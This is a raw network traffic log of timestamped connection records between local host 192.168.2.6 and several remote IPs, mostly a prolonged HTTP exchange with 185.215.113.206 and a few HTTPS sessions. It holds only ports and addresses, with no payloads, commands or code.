Nov 23, 2024 21:59:41.773758888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.773828983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.774219990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.774275064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.774447918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.774518013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.775124073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.775141001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.775194883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.775944948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.776005030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.776113033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.776333094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.776793003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.776947021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.776973009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.776999950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.777661085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.777724981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.778013945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.778069973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.778565884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.778620958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.778631926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.778671026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.779392958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.779540062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.779604912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.780253887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.780318022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.780353069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.780391932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.781181097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.781197071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.781222105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.781249046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.781980991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.781999111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.782057047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.782903910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.782921076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.782964945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.782999992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.783698082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.783714056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.783763885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.783775091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.784564972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.784580946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.784636021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.784648895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.785442114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.785456896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.785501003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.785521030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.786298990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.786314964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.786350012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.786360979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.787180901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.787198067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.787230968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.787242889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.788043022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.788058996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.788090944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.788103104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.865238905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.865324020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.865475893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.865493059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.865521908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.865535975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.865690947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.865735054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.866543055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.866641045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.866661072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.866955042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.867029905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.867069006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.867182970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.867291927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.867811918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.867882967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.867912054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.867953062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.868629932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.868674994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.868974924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.869035959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.869427919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.869483948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.869565010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.869775057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.870265961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.870420933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.870480061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.870995045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.871057987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.871232986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.871299982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.871720076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.871794939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.872061014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.872107983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.872508049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.872709990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.872739077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.872783899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.873317957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.873372078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.873572111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.873629093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.874057055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.874160051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.874242067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.874610901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.874852896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.874896049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.875036955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.875076056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.875663996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.875965118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.876017094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.876420975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.876466990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.877206087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.877222061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.877264023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.877269983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.877285004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.877305984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.878002882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.878200054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.878247023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.878777981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.878820896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.879034042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.879084110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.879554987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.879606009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.879826069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.879880905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.880419016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.880466938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.881161928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.881179094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.881194115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.881215096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.881236076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.881932974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.882061958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.882070065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.882301092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.882684946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.882740021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.883037090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.883086920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.883593082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.883749962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.883987904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.884038925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.884310961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.884355068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.884530067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.884589911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.885055065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.885070086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.885107994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.885121107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.885859966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.885932922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.885951042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.885991096 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.886038065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.886324883 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.886337996 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.886595964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.886641979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.887402058 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.887487888 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.887559891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.887576103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.887592077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.887607098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.887617111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.887643099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.888233900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.888276100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.888489962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.888533115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.888991117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.889005899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.889050961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.889149904 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.889149904 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.889168024 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.889240980 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.889733076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.889874935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.890527964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.890543938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.890600920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.890600920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.909368038 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.909801006 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.909817934 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.910069942 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:41.913491964 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.913604975 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.913974047 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.914140940 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.914242983 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.914248943 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:41.945691109 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:41.945727110 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:41.945776939 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:41.945802927 CET	49867	443	192.168.2.6	23.59.251.201
Nov 23, 2024 21:59:41.945842028 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:41.945863962 CET	49867	443	192.168.2.6	23.59.251.201
Nov 23, 2024 21:59:41.945883036 CET	49867	443	192.168.2.6	23.59.251.201
Nov 23, 2024 21:59:41.946016073 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:41.946336985 CET	49867	443	192.168.2.6	23.59.251.201
Nov 23, 2024 21:59:41.961298943 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:41.966664076 CET	49867	443	192.168.2.6	23.59.251.201
Nov 23, 2024 21:59:41.966681957 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:41.982454062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.982479095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.982503891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.982522011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.982852936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.982952118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.983005047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.983603954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.983649015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.983887911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.983962059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.984019995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.984132051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.984679937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.984726906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.984802008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.985001087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.985493898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.985533953 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.985682964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.985728025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.986247063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.986293077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.986380100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.986422062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.987060070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.987097979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.987405062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.987446070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.987845898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.987884998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.988130093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.988171101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.988590956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.988631010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.988708973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.988754988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.989386082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.989460945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.989553928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.989923954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.990159988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.990201950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.990242958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.990948915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.990959883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.990997076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.990997076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.991765022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.991776943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.991816998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.992558002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.992608070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.992691040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.992729902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.993346930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.993381023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.993544102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.993624926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.994066000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.994119883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.994144917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.994159937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.994936943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.994990110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.994998932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.995054960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.995663881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.995749950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.995857000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.995901108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.996423960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.996481895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.996562958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.996715069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.997215986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.997276068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.997536898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.997577906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.020823956 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.020847082 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.020853996 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.020873070 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.020879984 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.020905018 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.020939112 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.020958900 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.020972013 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.021003962 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.047645092 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.047652960 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.049570084 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.049580097 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.049637079 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.049674988 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.049679995 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.075514078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.075577021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.075647116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.075696945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.075725079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.075772047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.075789928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.075937986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.076529980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.076577902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.076888084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.077286005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.077336073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.077888966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.078051090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.078119993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.078130960 CET	80	49809	185.215.113.206	192.168.2.6
